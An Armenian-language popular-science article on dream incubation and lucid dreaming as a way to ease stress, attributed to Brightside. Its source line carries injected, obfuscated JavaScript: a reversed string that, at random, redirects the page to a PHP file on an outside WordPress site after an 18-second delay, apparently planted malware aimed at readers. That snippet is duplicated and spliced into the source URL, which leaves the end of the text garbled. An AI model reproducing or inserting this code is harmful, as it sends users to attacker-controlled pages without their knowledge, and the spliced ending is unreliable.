Ինչպե՞ս վերահսկել երազներն ու նվազեցնել սթրեսը. գիտնականները գտել են պատասխանը

Գիտնականները կարծում են, որ կարելի է «կառուցել» երազները սեփական ցանկություններին համապատասխան: Պարզապես պետք է փորձել պատկերացնել ցանկալի գեղեցիկ պահերն այնպես, կարծես դրանք իրական են:

Քնած ժամանակ ուշադրության կենտրոնացումն օգնում է մարդկանց ավելի երջանիկ զգալ: Բացի այդ, այն կարող է զգալիորեն նվազեցնել սթրեսը և անհանգստությունը, որոնք կուտակվում են օրվա ընթացքում: Ավելին, ապացուցված է, որ արվեստագետները շատ հաճախ ոգեշնչվում են հենց երազներից:

Իսկ ինչպե՞ս տեսնել «գիտակցված» երազներ: Դրա համար պետք է ընդամենը օրվա ընթացքում պատկերացնել այդ տեսարանը կամ երազը, որը ցանկանում եք տեսնել գիշերը: Այս երևույթը հայտնի է «երազանքի ինկուբացիա» անունով, և նրա հիմնական իմաստը ցանկությունների նյութականացումն է:

Եթե ցանկանում եք որոշակի խնդիր լուծել երազի մեջ, ապա պետք է մտածել դրա մասին անմիջապես քնելուց առաջ: Դա պետք է լինի վերջին միտքը, որի մասին մտածում եք: Օրինակ, եթե դա անձնական խնդիր է, ապա պետք է քնելուց առաջ մտածել այն անձի մասին, ում հետ կոնֆլիկտային հարաբերությունների մեջ եք:

Աղբյուր՝ $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-control-your-dreams-and-lower-stress-and-anxiety-715810/?utm_source=fb_brightside&utm_medium=fb_organic&utm_campaign=fb_gr_brightside&fbclid=IwAR0xLRs822V2DLA3QA9d7CGkBR5xEl5OK7W2CLUEkFjNLAu4tAFwmfca71U” target=”_blank” rel=”noopener”>Brightside